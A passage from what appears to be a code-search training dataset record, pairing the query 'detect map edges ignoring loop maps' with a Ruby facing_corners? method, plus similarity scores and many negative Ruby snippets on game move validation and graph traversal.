"def allowed_move?(vector, starting_rank=nil)\n self.class.allowed_move?(vector, starting_rank)\n end",
"def can_move?(*args)\n index,dir = process_move_args(*args)\n self[index].travels?(dir) && self[index + MOVE[dir]].empty?\n end",
"def valid_move?(index)\n !position_taken?(index) && index.between?(0, 8)\n end",
"def needs_move_update?\n if ( Gosu::milliseconds - @last_move_update > 100 )\n @last_move_update = Gosu::milliseconds \n end\n end",
"def valid_move?(board, index)\n if board[index].nil? || position_taken?(board, index) || board[index] == \"X\" || board[index] == \"O\"\n false\n else\n true\n end\nend",
"def valid_move?(move)\n move = move.to_i if move.is_a? String\n return false unless move.is_a? Integer\n move.between?(1, 9) && !position_taken?(move-1) \n end",
"def check_legal_move(y,x)\n\t\tif y > 7 || y < 0\n\t\t\treturn false\n\t\telsif x > 7 || x < 0\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend",
"def valid_move?(board, index)\n index.between?(0,8) && !position_taken?(board, index)\n end",
"def valid_move?(board, index)\n index.between?(0,8) && !position_taken?(board, index)\n end",
"def movable_moving?\n\n @movable_delta_x&.nonzero? || @movable_delta_y&.nonzero?\n\n end",
"def valid_move?(board, index)\nif position_taken?(board, index) == false\n if between?(index) == true\n true\n else\n false\n end\nelse\n false\nend\nend",
"def movement_rule(destination)\n true\n end",
"def move_if_needed\n positions.each {|dir, pos|\n t = tile_at(pos)\n if t\n @direction, @position = directions.invert[dir], pos\n # Update the image so that the user actually sees the bug\n # turning if it did.\n update_image\n t.on\n return true\n end\n }\n return false\n end",
"def valid_move?(input)\n #checks that the attempted move is within the bounds of the game board\n input.between?(0, 8) && !position_taken?(input)\n end",
"def can_move?( level, x, y )\n return true\n end",
"def allow_loose_moving?\n return false\n end",
"def tryMove\n #Resets the angle continuously to provide accurate data.\n @angle = Math.atan2(@y - @map.player.y, @x - @map.player.x) - Math::PI / 2\n #Sets axis of acceleration with relation to the direction.\n if @direction == 1\n @aceY = Math.sin(@angle - Math::PI / 2) / 4\n else\n @aceX = Math.cos(@angle - Math::PI / 2) / 4\n end\n #Adds acceleration to velocity.\n @velX += @aceX\n @velY += @aceY\n #Terminal velocity is 3.\n if @velX > 3\n velX = 3\n elsif @velX < -3\n velX = -3\n end\n #Checks for collision and moves the missile.\n collidesWithPlayer\n detectCollision\n end",
"def valid_move? index_position \n index_position < 9 && !position_taken?(index_position)\n end",
"def valid_move?(index)\r\n if (index>=0 && index<9) && !position_taken?(index)\r\n return true\r\n end\r\n end",
"def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end",
"def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end",
"def valid_move?(index)\n if position_taken?(index)\n false\n elsif position_taken?(index) == false && index.between?(0,8)\n true\n end\n end",
"def tryMove\n if @enemy\n collidesWithPlayer\n else\n collidesWithEnemy\n end\n detectCollision\n end",
"def unit_movable?\n return false if @tb_unit.nil?\n @tb_unit.can_move?\n end",
"def valid_move? (board, index)\n if index.between?(0, 8) && !position_taken?(board, index)\n true \n end \nend",
"def move_in_and_celebrate?\n nil\n end",
"def is_move_allowed(to_x,to_y) #Checks to see if the move is allowed based on the pieces 'rule'\n allowed=false\n \n x_diff=(to_x-@x).abs\n y_diff=(to_y-@y).abs\n \n if x_diff <=1 && y_diff <=1\n allowed= true\n end\n if x==to_x && y==to_y\n allowed = false\n end\n\n return allowed\n end",
"def is_valid_move x,y\n return false unless (0..3) === x\n return false unless (0..3) === y\n return @field[x][y].player == 0\n end"
] |
[
"0.74644154",
"0.71156967",
"0.70899296",
"0.707074",
"0.7050552",
"0.70411783",
"0.7007994",
"0.69982064",
"0.69719344",
"0.69525206",
"0.6940839",
"0.6916816",
"0.690473",
"0.68897563",
"0.68881404",
"0.687826",
"0.68647015",
"0.68563604",
"0.6839208",
"0.6814066",
"0.6809032",
"0.68062496",
"0.6795454",
"0.67703867",
"0.6767825",
"0.6767825",
"0.6763689",
"0.67595595",
"0.67351764",
"0.6728663",
"0.67228776",
"0.6705139",
"0.67012656",
"0.6693329",
"0.6675775",
"0.6670053",
"0.6635648",
"0.6632657",
"0.6632657",
"0.6610137",
"0.6607199",
"0.6602053",
"0.66017014",
"0.6595445",
"0.6595206",
"0.6591523",
"0.6589938",
"0.6589019",
"0.6588596",
"0.65870017",
"0.65845996",
"0.65808773",
"0.65802974",
"0.6568246",
"0.65665996",
"0.65640485",
"0.6563652",
"0.6563652",
"0.6563652",
"0.6563652",
"0.65627635",
"0.6562347",
"0.65614057",
"0.65476817",
"0.6543426",
"0.6535639",
"0.65354455",
"0.65329283",
"0.6527725",
"0.65262187",
"0.65248454",
"0.651345",
"0.6513153",
"0.6510967",
"0.6509516",
"0.65032184",
"0.6501902",
"0.6494494",
"0.6494332",
"0.6487543",
"0.64798176",
"0.64798176",
"0.6473417",
"0.6473097",
"0.6472673",
"0.6470741",
"0.6465417",
"0.64609253",
"0.6460907",
"0.64539236",
"0.6453438",
"0.6451194",
"0.6449537",
"0.6449537",
"0.64334536",
"0.64300543",
"0.6427097",
"0.64225775",
"0.6422501",
"0.6422025",
"0.6418385"
] |
0.0
|
-1
|
detect map edges ignoring loop maps
|
def facing_corners?
case $game_map.map.scroll_type
when 1 then return false if @direction == 2 || @direction == 8
when 2 then return false if @direction == 4 || @direction == 6
when 3 then return false
end
m = $game_map
unless @x.between?(1, m.width - 2) && @y.between?(1, m.height - 2)
return true if @x == 0 and @direction == 4
return true if @y == 0 and @direction == 8
return true if @x == m.width - 1 and @direction == 6
return true if @y == m.height - 1 and @direction == 2
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_cut(map)\n while map.length > 2\n # This is ok\n v1,v2 = get_vertices(map)\n # Merge \n map[v1] = merge_edges(map,v1,v2)\n # Delete\n remove_vertex(map,v2)\n # Remove occurences\n convert_vertex(map,v2,v1)\n # Remove loops\n remove_loops(map,v1)\n\n end\nend",
"def detect_cycle_in_graph(edges)\nend",
"def check_map(map)\n\t\tways = Array2D.new(@width, @height, -1)\n\t\t@width.times do |x|\n\t\t\t@height.times do |y|\n\t\t\t\tpoint = Point.new(x, y)\n\t\t\t\tways[point] = 0 if ! map[point]\n\t\t\tend\n\t\tend\n\t\tways[@center] = 1\n\n\t\tnew_cells = true\n\t\tstep = 2\n\t\twhile new_cells\n\t\t\tnew_cells = false\n\t\t\t@width.times do |x|\n\t\t\t\t@height.times do |y|\n\t\t\t\t\tpoint = Point.new(x, y)\n\t\t\t\t\tif map[point]\n\t\t\t\t\t\tways[point] = -1\n\t\t\t\t\telsif ways[point] == 0\n\t\t\t\t\t\tif ways[point.up] == step - 1\n\t\t\t\t\t\t\tways[point] = step\n\t\t\t\t\t\t\tnew_cells = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif ways[point.down] == step - 1\n\t\t\t\t\t\t\tways[point] = step\n\t\t\t\t\t\t\tnew_cells = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif ways[point.left] == step - 1\n\t\t\t\t\t\t\tways[point] = step\n\t\t\t\t\t\t\tnew_cells = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif ways[point.right] == step - 1\n\t\t\t\t\t\t\tways[point] = step\n\t\t\t\t\t\t\tnew_cells = true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tstep += 1\n\t\tend\n\n\t\t@width.times do |x|\n\t\t\t@height.times do |y|\n\t\t\t\tpoint = Point.new(x, y)\n\t\t\t\treturn false if ways[point] == 0\n\t\t\tend\n\t\tend\n\t\ttrue\n\tend",
"def shared_edges(tile)\n all_edges & tile.all_edges\n end",
"def adjacent(x, y, map)\n [[x, y - 1], [x - 1, y], [x + 1, y], [x, y + 1]].select do |x, y|\n (0..map.length-1).cover?(y) &&\n (0..map[0].length-1).cover?(x)\n end\nend",
"def edges\n\t\t\tself.node_maps.select { |i| !i.marked_for_destruction? }.select { |i|\n\t\t\t\ti.node && i.parent\n\t\t\t}.collect { |i|\n\t\t\t\t{\n\t\t\t\t\t:source => i.parent.node.id,\n\t\t\t\t\t:target => i.node.id,\n\t\t\t\t}\n\t\t\t}.uniq\n\t\tend",
"def check map, colorized\n map.each do |country, neighbors|\n color = colorized[country]\n neighbors.each do |neighbor|\n if colorized[neighbor] == color\n raise \"country #{country} and neighbor #{neighbor} have the same color!\"\n end\n end\n end\nend",
"def clip_map\n @nodes.each{|n| clip_intersection(n)}\n end",
"def has_edges\n return false unless @vertices.length > 0\n\n @vertices.each do |vertex|\n vertex.neighbours.each do |neighbour|\n if (neighbour == true)\n return true\n end\n end\n end\n\n return false\n end",
"def out_neighbors(vertex)\n\tend",
"def isolates\n edges.inject(Set.new(vertices)) { |iso, e| iso -= [e.source, e.target] }\n end",
"def anti_parallel_edge(edge)\n edge.to.out_edges.to_a.detect { |o| o.to == edge.from }\n end",
"def contains_loop?()\n no_zeros = @hops.map { |hop| hop.ip }.find_all { |ip| ip != \"0.0.0.0\" }\n adjacents_removed = Path.new(@src, @dst)\n\n (0..(no_zeros.size-2)).each do |i|\n adjacents_removed << no_zeros[i] if no_zeros[i] != no_zeros[i+1]\n end\n adjacents_removed << no_zeros[-1] unless no_zeros.empty?\n\n return adjacents_removed.uniq.size != adjacents_removed.size\n end",
"def neighbours(e)\n\t\tneighbours = []\n\t\t@e.each do |edge|\n\t\t\tneighbours << edge.dest if edge.src == e\n\t\tend\n\t\tneighbours\n\tend",
"def has_highlighted?(edgeset=@edges)\n edgeset.values.find {|e| e.rel_type & MapvisualizationsHelper::HIGHLIGHTED != 0} != nil\n end",
"def isPassableFromEdge?(x,y)\n return true if $game_map.valid?(x,y)\n newmap=getNewMap(x,y)\n return false if !newmap\n return isPassable?(newmap[0].map_id,newmap[1],newmap[2])\n end",
"def find_path(source, target, map)\n @main_loop_count = 0\n\n max_y = map.size - 1\n max_x = map[0].size - 1\n target_x = target[0]\n target_y = target[1]\n # target heuristic is 0\n target = [target_x, target_y, 0]\n\n # Sets up the search to begin from the source\n source = source.dup.push((target_x - source[0]).abs + (target_y - source[1]).abs)\n came_from = {}\n came_from[source] = nil\n frontier = [source]\n\n # Until the target is found or there are no more cells to explore from\n until came_from.has_key?(target) || frontier.empty?\n @main_loop_count += 1\n\n # Take the next frontier cell\n new_frontier = frontier.shift\n\n # Find the adjacent neighbors\n adjacent_neighbors = []\n\n # Gets all the valid adjacent_neighbors into the array\n # From southern neighbor, clockwise\n nfx = new_frontier[0]\n nfy = new_frontier[1]\n adjacent_neighbors << [nfx , nfy - 1, (target_x - nfx).abs + (target_y - nfy + 1).abs] unless nfy == 0\n adjacent_neighbors << [nfx - 1, nfy - 1, (target_x - nfx + 1).abs + (target_y - nfy + 1).abs] unless nfx == 0 || nfy == 0\n adjacent_neighbors << [nfx - 1, nfy , (target_x - nfx + 1).abs + (target_y - nfy).abs] unless nfx == 0\n adjacent_neighbors << [nfx - 1, nfy + 1, (target_x - nfx + 1).abs + (target_y - nfy - 1).abs] unless nfx == 0 || nfy == max_y\n adjacent_neighbors << [nfx , nfy + 1, (target_x - nfx).abs + (target_y - nfy - 1).abs] unless nfy == max_y\n adjacent_neighbors << [nfx + 1, nfy + 1, (target_x - nfx - 1).abs + (target_y - nfy - 1).abs] unless nfx == max_x || nfy == max_y\n adjacent_neighbors << [nfx + 1, nfy , (target_x - nfx - 1).abs + (target_y - nfy).abs] unless nfx == max_x\n adjacent_neighbors << [nfx + 1, nfy - 1, (target_x - nfx - 1).abs + (target_y - nfy + 1).abs] unless nfx == max_x || nfy == 0\n\n new_neighbors = adjacent_neighbors.select do |neighbor|\n # That have not been visited and are not walls\n unless came_from.has_key?(neighbor) || map[neighbor[1]][neighbor[0]] != '.'\n # Add them to the frontier and mark them as visited\n # frontier << neighbor\n came_from[neighbor] = new_frontier\n end\n end\n\n # Sort the frontier so cells that are close to the target are then prioritized\n if new_neighbors.length > 0\n new_neighbors = merge_sort(new_neighbors)\n if frontier.length > 0 && new_neighbors[0][2] >= frontier[0][2]\n frontier = merge_sort(new_neighbors.concat(frontier))\n else\n frontier = new_neighbors.concat(frontier)\n end\n end\n end\n\n # If the search found the target\n if came_from.has_key?(target)\n # Calculates the path between the target and star for the greedy search\n # Only called when the greedy search finds the target\n path = []\n next_endpoint = came_from[target]\n while next_endpoint\n path << [next_endpoint[0], next_endpoint[1]]\n next_endpoint = came_from[next_endpoint]\n end\n path\n else\n return nil\n end\n end",
"def all_edges\n\t\t@e.uniq\n\tend",
"def know_neighbors\n bomb_neighbors = 0\n neighbor_coords = []\n rel_neighbor_coords = [[0, 1], [1, 1], [-1, 0], [-1, 1], [1, 0], [1, -1], [0, -1], [-1, -1]]\n rel_neighbor_coords.each do | coord |\n neighbor_coords << [@coords[0] + coord[0], @coords[1] + coord[1]]\n end\n neighbor_coords.select! {|pos| pos.all? { |coord| (0..8).cover? coord }}\n neighbor_coords\n end",
"def neighbours()\n @map.neighbours(@x, @y, true)\n end",
"def can_you_see?(map, dim, direction)\n plus = case direction\n when 1 then [-1,-1]\n when 2 then [-1, 0]\n when 3 then [-1, 1]\n when 4 then [ 0,-1]\n when 6 then [ 0, 1]\n when 7 then [ 1,-1]\n when 8 then [ 1, 0]\n when 9 then [ 1, 1]\n end\n\n #print \"whereami: \"\n whereami = whereami(map)\n coord = whereami\n\n while dim > 0 do\n whereamfrom = coord\n coord = [coord,plus].transpose.map{|ary| ary.inject(&:+) }\n\n #print \"distance: \"\n distance = distance(whereamfrom, coord)\n\n if whereamfrom == whereami || coord == whereami\n # 最初は0.5しか進まないわけだが...。\n if plus.any?{|e| e==0}\n dim -= 0.5\n else #角度を付けて入ってきた場合\n dim -= Math.sqrt(0.5**2 + 0.5**2)\n end\n else\n dim -= distance\n end\n return false if dim < 0\n #print \"now: \"\n #p coord\n #print \"dim: \"\n #p dim\n if myself?(coord, map)\n return true\n elsif mirror?(coord, map)\n # print \"!!! mirror #{plus} -> \"\n # TODO: 入った角度による。これはきれいに反射した場合\n plus = plus.map{|e| -1*e }\n # print \"#{plus}\\n\"\n end\n end\nend",
"def adjacent_of_map_border?\n w = $game_map.width -1\n h = $game_map.height -1\n (self.x == 0 or self.x == w) or (self.y == 0 or self.y == h)\n end",
"def find_reachable_adjacents\n\t\tfind_all_adjacents.select { |p| (is_free?(p) && !@closed.include?(p)) }\n\tend",
"def post_processing! (edges)\n # 'and' coordination\n edges.reject!{|e| e[:text] == 'and'}\n end",
"def get_closest_edge_vertices(lat, lon)\n #Override this function in the corresponding extension (tiger and osm initially)\n return nil\n end",
"def in_out_edges\n in_edges + out_edges\n end",
"def near(node_map)\n output_nodes = []\n \n potential_neighbor_strings().each do |coordinate_string|\n\n if !node_map[coordinate_string][:contents]\n output_nodes << node_map[coordinate_string][:node]\n end\n end\n\n output_nodes\n end",
"def neighbor_vertices\n @meeting_edges.map &:to\n end",
"def generate_adjacencies(board)\n b2 = duplicate(board)\n b2.each_with_index do |row, y_idx|\n row.each_with_index do |cell, x_idx|\n next unless cell == MINE\n increment_neighbors(b2, [x_idx, y_idx])\n end\n end\nend",
"def valid_neighbours(current)\n DIRECTION_VECTORS.values\n .map { |dir_vec| current + dir_vec }\n .select { |loc| OPEN_TILES.include?(@points[loc]) }\n end",
"def infinite_loops\n reachable_sets = @nodes.group_by(&:forward)\n reachable_sets.each do |reachable,nodes|\n yield reachable if reachable == nodes.to_set\n end\n end",
"def annotate_edges(graph)\n graph.edges.each do |edge|\n if edge.to.props.dig(:node_class, :node_class) == 'org.graalvm.compiler.nodes.ValuePhiNode' && edge.props[:name] == 'values'\n merge_node = edge.to.edges.find { |e| e.props[:name] == 'merge' }.from\n control_into_merge = %w[ends loopBegin]\n merge_node_control_edges_in = merge_node.edges.select { |e| control_into_merge.include?(e.props[:name]) && e.to.props.dig(:node_class, :node_class) != 'org.graalvm.compiler.nodes.LoopExitNode' }\n matching_control_edge = merge_node_control_edges_in[edge.props[:index]]\n control_in_node = matching_control_edge.nodes.find { |n| n != merge_node }\n edge.props[:label] = \"from #{control_in_node.id}\"\n edge.props[:kind] = 'data'\n next\n end\n\n # Look at the name of the edge to decide how to treat them.\n case edge.props[:name]\n\n # Control edges.\n when 'ends', 'next', 'trueSuccessor', 'falseSuccessor', 'exceptionEdge'\n edge.props[:kind] = 'control'\n case edge.props[:name]\n when 'trueSuccessor'\n # Simplify trueSuccessor to T\n edge.props[:label] = 'T'\n when 'falseSuccessor'\n # Simplify falseSuccessor to F\n edge.props[:label] = 'F'\n when 'exceptionEdge'\n # Simplify exceptionEdge to unwind\n edge.props[:label] = 'unwind'\n end\n\n # Info edges, which are drawn reversed as they point from the user\n # to the info.\n when 'frameState', 'callTarget', 'stateAfter'\n edge.props[:label] = nil\n edge.props[:kind] = 'info'\n edge.props[:reverse] = true\n\n # Condition for branches, which we label as ?.\n when 'condition'\n edge.props[:kind] = 'data'\n edge.props[:label] = '?'\n\n # loopBegin edges point from LoopEndNode (continue) and LoopExitNode\n # (break) to the LoopBeginNode. Both are drawn reversed.\n when 'loopBegin'\n edge.props[:hidden] = true\n\n case edge.to.props.dig(:node_class, :node_class)\n when 'org.graalvm.compiler.nodes.LoopEndNode'\n # If it's from the LoopEnd then it's the control edge to follow.\n edge.props[:kind] = 'loop'\n edge.props[:reverse] = true\n when 'org.graalvm.compiler.nodes.LoopExitNode'\n # If it's from the LoopExit then it's just for information - it's\n # not control flow to follow.\n edge.props[:kind] = 'info'\n edge.props[:reverse] = true\n else\n raise EncodingError, 'loopBegin edge not to LoopEnd or LoopExit'\n end\n\n # Merges are info.\n when 'merge'\n edge.props[:kind] = 'info'\n edge.props[:reverse] = true\n\n # Successors are control from a switch.\n when 'successors'\n # We want to label the edges with the corresponding index of the key.\n if edge.props[:index] == edge.from.props['keys'].size\n label = 'default'\n else\n label = \"k[#{edge.props[:index]}]\"\n end\n edge.props[:label] = label\n edge.props[:kind] = 'control'\n\n # Successors are control from a switch.\n when 'arguments'\n # We want to label the edges with their corresponding argument index.\n edge.props[:label] = \"arg[#{edge.props[:index]}]\"\n edge.props[:kind] = 'data'\n\n # Everything else is data.\n else\n edge.props[:kind] = 'data'\n edge.props[:label] = edge.props[:name]\n\n end\n end\n end",
"def neighbours point\n [\n [-1, 0],\n [1, 0],\n [0, 1],\n [0, -1]\n ].map do |(dx, dy)|\n [\n (point[0] + dx + @map.length) % @map.length,\n (point[1] + dy + @map.length) % @map.length\n ]\n end\n end",
"def each_relation_edge(rg)\n rg.nodes.each { |node|\n [:src,:dst].each { |rg_level|\n next unless node.get_block(rg_level)\n node.successors(rg_level).each { |node2|\n if node2.type == :exit || node2.get_block(rg_level)\n yield IPETEdge.new(node,node2,pml_level(rg_level))\n end\n }\n }\n }\n end",
"def valid_edge(x, y)\n if x < m and x > 0 and y < n and y > 0 and maze_mat[x][y] == 0\n return true\n end\n false\n end",
"def edge?(u,v)\n return @source[u].has_key?(v)\n end",
"def check\n raise \"Non unique node entries\" unless nodes.uniq == nodes\n raise \"Non unique edge entries\" unless edges.uniq == edges\n @edges.each do |e|\n raise \"self loop\" if e.n1 == e.n2\n raise \"wrong order\" unless e.n1 < e.n2\n raise \"edge not found in n1 incident list\" unless @incident_map[e.n1].find_index(e) \n raise \"edge not found in n2 incident list\" unless @incident_map[e.n2].find_index(e)\n end\n return true\n end",
"def common_face(edge2)\n end",
"def common_face(edge2)\n end",
"def condensation\n sc = strong_components\n cg = DirectedMultiGraph.new\n map = sc.inject({}) do |a,c| \n c.each {|v| a[v] = c }; a\n end\n sc.each do |c|\n c.each do |v|\n adjacent(v).each {|v1| cg.add_edge!(c, map[v1]) unless cg.edge?(c, map[v1]) }\n end\n end; \n cg\n end",
"def get_neighbours(x, y, state)\n count = 0\n for ix in x - 1..x + 1\n for iy in y - 1..y + 1\n count += 1 if state[[ix, iy]] and not (ix == x and iy == y)\n end\n end\n return count\nend",
"def identify_neighbours\n @x.times{ |r|\n @y.times{|c| \n #+1,+1 0,+1 +1,0\n @mat[r][c].add_neighbour @mat[r+1][c+1] unless @mat[r+1].nil? || @mat[r+1][c+1].nil?\n @mat[r][c].add_neighbour @mat[r][c+1] unless @mat[r].nil? || @mat[r][c+1].nil?\n @mat[r][c].add_neighbour @mat[r+1][c] unless @mat[r+1].nil? || @mat[r+1][c].nil?\n \n #-1,-1 0,-1 -1,0\n @mat[r][c].add_neighbour @mat[r-1][c-1] unless @mat[r-1].nil? || @mat[r-1][c-1].nil?\n @mat[r][c].add_neighbour @mat[r-1][c] unless @mat[r-1].nil? || @mat[r-1][c].nil?\n @mat[r][c].add_neighbour @mat[r][c-1] unless @mat[r].nil? || @mat[r][c-1].nil?\n \n #+1,-1 -1,+1\n @mat[r][c].add_neighbour @mat[r-1][c+1] unless @mat[r-1].nil? || @mat[r-1][c+1].nil?\n @mat[r][c].add_neighbour @mat[r+1][c-1] unless @mat[r+1].nil? || @mat[r+1][c-1].nil?\n \n }\n \n } \n end",
"def affinity_edge(from, to)\n return [ from == @current_post || to == @current_post ? 0 : 1,\n -affinity(from, to),\n from, to ]\n end",
"def test_out_edges_on_examples\n assert_equal(@small_dfa.ith_edges(0), @small_dfa.out_edges(0,true))\n assert_equal(@small_dfa.ith_edges(1,2,5), @small_dfa.out_edges(1,true))\n assert_equal(@small_dfa.ith_edges(4), @small_dfa.out_edges(2,true))\n assert_equal(@small_dfa.ith_edges(3), @small_dfa.out_edges(3,true))\n\n assert_equal(@small_nfa.ith_edges(0), @small_nfa.out_edges(0,true))\n assert_equal(@small_nfa.ith_edges(1,2,3), @small_nfa.out_edges(1,true))\n assert_equal(@small_nfa.ith_edges(4,6), @small_nfa.out_edges(2,true))\n assert_equal(@small_nfa.ith_edges(5), @small_nfa.out_edges(3,true))\n end",
"def neighboors\n coordneighboors = [@x - 1, @x, @x + 1].product([@y - 1, @y, @y + 1])\n coordneighboors.delete([@x, @y])\n coordneighboors.select { |coord| coord[0] >= 0 && coord[0] < @matrix.rows && coord[1] >= 0 && coord[1] < @matrix.columns }\n end",
"def remove_redundant_edges(in_vertex, out, index)\n list = @edges\n j = @num_edges - 1\n while j >= 0 do\n if(!list[j].nil? and list[j].index == index)\n #when invertices are eq and out-verts are substrings or vice versa\n if(in_vertex.name.casecmp(list[j].in_vertex.name) == 0 and out.name.casecmp(list[j].out_vertex.name) != 0 and out.name.downcase.include?(list[j].out_vertex.name.downcase))\n # puts(\"FOUND out_vertex match for edge:: #{list[j].in_vertex.name} - #{list[j].out_vertex.name}\")\n list[j] = nil\n #@num_edges-=1\n #when in-vertices are only substrings and out-verts are equal\n elsif(in_vertex.name.casecmp(list[j].in_vertex.name)!=0 and in_vertex.name.downcase.include?(list[j].in_vertex.name.downcase) and out.name.casecmp(list[j].out_vertex.name)==0)\n # puts(\"FOUND in_vertex match for edge: #{list[j].in_vertex.name} - #{list[j].out_vertex.name}\")\n list[j] = nil\n #@num_edges-=1\n end\n end\n j-=1\n end #end of the while loop\n # puts \"**** search_edges:: Old number #{@num_edges}\"\n #recreating the edges array without the nil values\n counter = 0\n edges_array = Array.new\n list.each{\n |edge|\n if(!edge.nil?)\n # puts \"edge:: #{edge.in_vertex.name} - #{edge.out_vertex.name}\"\n edges_array << edge\n counter+=1\n end\n } \n @edges = edges_array\n @num_edges = counter+1\n # puts \"**** search_edges:: New number of edges #{@num_edges}\"\nend",
"def colorize_iterating map\n # map from country to its color\n colorized = {}\n map.each do |country, neighbors|\n local_colorized = colorized.clone # fake a functional view of colorized\n color = Ambit.choose Colors\n #puts \"considering #{color} for #{country}\"\n neighbors.each {|n| Ambit.assert colorized[n] != color}\n local_colorized[country] = color\n colorized = local_colorized\n end\n colorized\nend",
"def can_path_through x,y\n @map[x][y] != :wall\n rescue\n false\n end",
"def neighborhood(cell)\n Set.new((cell[0]-1..cell[0]+1).map{|x| (cell[1]-1..cell[1]+1).map{|y| [x,y]}}.\n flatten(1)) - Set.new([cell])\nend",
"def has_edge?(vertex1, vertex2)\n\tend",
"def listEdges(matrix)\n edges = {}\n hitList = {}\n\n matrix.each_with_index do |line, i|\n aI = @alphaHash[i]\n line.each_with_index do |node, j|\n dist = matrix[i][j]\n aJ = @alphaHash[j]\n if dist != -1\n edge = (i < j ? \"#{aI}#{aJ}\" : \"#{aJ}#{aI}\")\n edges[aI] = {} if edges[aI].nil?\n edges[aJ] = {} if edges[aJ].nil?\n edges[aI][aJ] = dist\n edges[aJ][aI] = dist\n hitList[edge] = dist\n end\n end\n end\n\n hitList = Hash[hitList.sort_by {|k,v| v*-1}]\n [edges,hitList]\nend",
"def explore(start)\n visited = Hash.new(false)\n visited[start] = true \n start.out_edges.each do |edge|\n explore(edge.dest) if !visited[edge.dest]\n end\n return visited\n end",
"def adj(heightmap, row, col)\n [[0, -1], [-1, 0], [1, 0], [0, 1]].reduce([]) do |acc, offset|\n x_offset, y_offset = offset\n x = row + x_offset\n y = col + y_offset\n\n if x < 0 || x >= heightmap.width ||\n y < 0 || y >= heightmap.height\n acc\n else\n acc.push(heightmap[x][y])\n end\n end\nend",
"def edge?(i,j)\n\t\tif(edge(i,j) != @no_edge_val)\n\t\t\treturn true\n\t\tend\n\t\treturn false\n\tend",
"def supports_edge_indices?\n true\n end",
"def midtown_no_primary_roads\n midtown_north = 40.764104432913086\n midtown_east = -73.97675156593323\n midtown_south = 40.75897668730365\n midtown_west = -73.98523807525635\n OverpassGraph.get_roads(midtown_north, midtown_east, midtown_south, midtown_west, [], ['primary'])\nend",
"def is_in_map(v)\n v.x >= 0 && v.y >= 0 && v.x < @size.x && v.y < @size.y\n end",
"def in_neighbors(vertex)\n\tend",
"def each_edge(function)\n function.blocks.each_with_index do |bb,ix|\n next if ix != 0 && bb.predecessors.empty? # data block\n bb.successors.each do |bb2|\n yield IPETEdge.new(bb,bb2,level)\n end\n if bb.may_return?\n yield IPETEdge.new(bb,:exit,level)\n end\n end\n end",
"def get_neighbours(n, m)\n [[n - 1, m],[n + 1, m],[n, m - 1],[n, m + 1]].select do |coords| \n coords.first.between?(0, rows - 1) && coords.last.between?(0, cols - 1)\n end\n end",
"def reachable\n @vertices.each do |vk, is_up|\n if is_up\n print \"#{vk}\\n\"\n if @edges_up[vk]\n @edges_up[vk].each do |ek, up_too|\n if up_too\n print \" #{ek}\\n\"\n end\n end\n end\n end\n end\n end",
"def find(graph, back_edges)\n loops = Set.new\n back_edges.each do |arc|\n l = [arc.first, arc.last]\n stack = []\n stack.push arc.first if arc.first != arc.last\n while !stack.empty?\n u = stack.pop\n neighbors = graph.arcs.\n select { |a| a.last == u }.\n map { |a| a.first }\n neighbors.each do |v|\n next if l.include? v\n l << v\n stack.push v\n end\n end\n loops << l.to_set\n end\n loops\n end",
"def map_tile_nocavern(tile)\n (-1..1).all? { |dx| (-1..1).all? { |dy|\n next if not t = tile.offset(dx, dy)\n tm = t.tilemat\n if !t.designation.hidden\n t.designation.flow_size < 4 and tm != :FROZEN_LIQUID\n else\n t.shape_basic == :Wall and (tm == :STONE or tm == :MINERAL or tm == :SOIL or tm == :ROOT)\n end\n } }\n end",
"def remove_nonsense_nodes\n _clear_cache\n hash = {}\n self.each_node do |node|\n hash[node] = true if @pathway.graph[node].size == 2\n end\n hash.each_key do |node|\n adjs = @pathway.graph[node].keys\n edges = @pathway.graph[node].values\n new_edge = get_edge_merged(edges[0], edges[1])\n @pathway.graph[adjs[0]].delete(node)\n @pathway.graph[adjs[1]].delete(node)\n @pathway.graph.delete(node)\n @pathway.append(Bio::Relation.new(adjs[0], adjs[1], new_edge))\n end\n #@pathway.to_relations\n @pathway.relations.reject! do |rel|\n hash[rel.node[0]] or hash[rel.node[1]]\n end\n return hash.keys\n end",
"def tighten_edges graph, layers\n \n # layers\n end",
"def find_edge_img\n puts \"Finding edges\"\n @edge_img ||= EdgeDetector.new(@gray_img).detect_edges\n end",
"def neighbours_off_end(node)\n # Find all arcs that include this node in the right place\n passable_nodes = []\n @arcs.get_arcs_by_node_id(node.node_id).each do |arc|\n if arc.begin_node_id == node.node_id and arc.begin_node_direction\n # The most intuitive case\n passable_nodes.push nodes[arc.end_node_id]\n elsif arc.end_node_id == node.node_id and !arc.end_node_direction\n passable_nodes.push nodes[arc.begin_node_id]\n end\n end\n return passable_nodes.uniq\n end",
"def adjacent\r\n arr = @locs.flat_map { |x| x.each_link.to_a }.flat_map { |x| @nav.map[x] }\r\n NavLocationLens.new @nav, arr.to_a\r\n end",
"def all_neighbords(base_word)\n \n matches = four_letter_words.select do |match_word|\n are_neighbors?(base_word, match_word)\n end \n\n return matches\n \nend",
"def adjacencies\n same_geo_adjacencies_quantity_max = 5\n return self.same_tag_bigger_geo.concat(self.same_geo_adjacencies(same_geo_adjacencies_quantity_max))\n end",
"def ensure_adjacent_rooms(map)\n map.each do |row|\n x_coordinate = map.index(row)\n row.each do |room|\n index = map[row].index(room)\n puts index\n end\n\n \n # x_coordinates = row.collect! { |room| room = row.index(room) }\n \n # x_coordinates.each { |coordin| puts coordin } \n # \n # row.each { |coordin| puts coordin } \n end\nend",
"def make_adjlists(layout)\n layout.each do |edge|\n start = edge.village1\n ending = edge.village2\n color = edge.color\n type = edge.type_transit\n layout.each do |surround| \n if surround.village1 == ending && surround.village2 != start\n if surround.color == color || surround.type_transit == type\n edge.add_adjlist(surround)\n end\n end\n end\n end\nend",
"def edges\n i = 0\n @hypernyms.each do |key, values|\n i += values.length\n end\n i\n end",
"def twoPluses(grid)\n areas = []\n grid.each_index do |i|\n grid[i].chars.each_index do |j|\n explore(grid, i, j, areas) if grid[i][j] == 'G'\n end\n end\n areas.combination(2).map { |i,j| (i[:indexes] & j[:indexes]).empty? ? i[:area] * j[:area] : 0 }.max\nend",
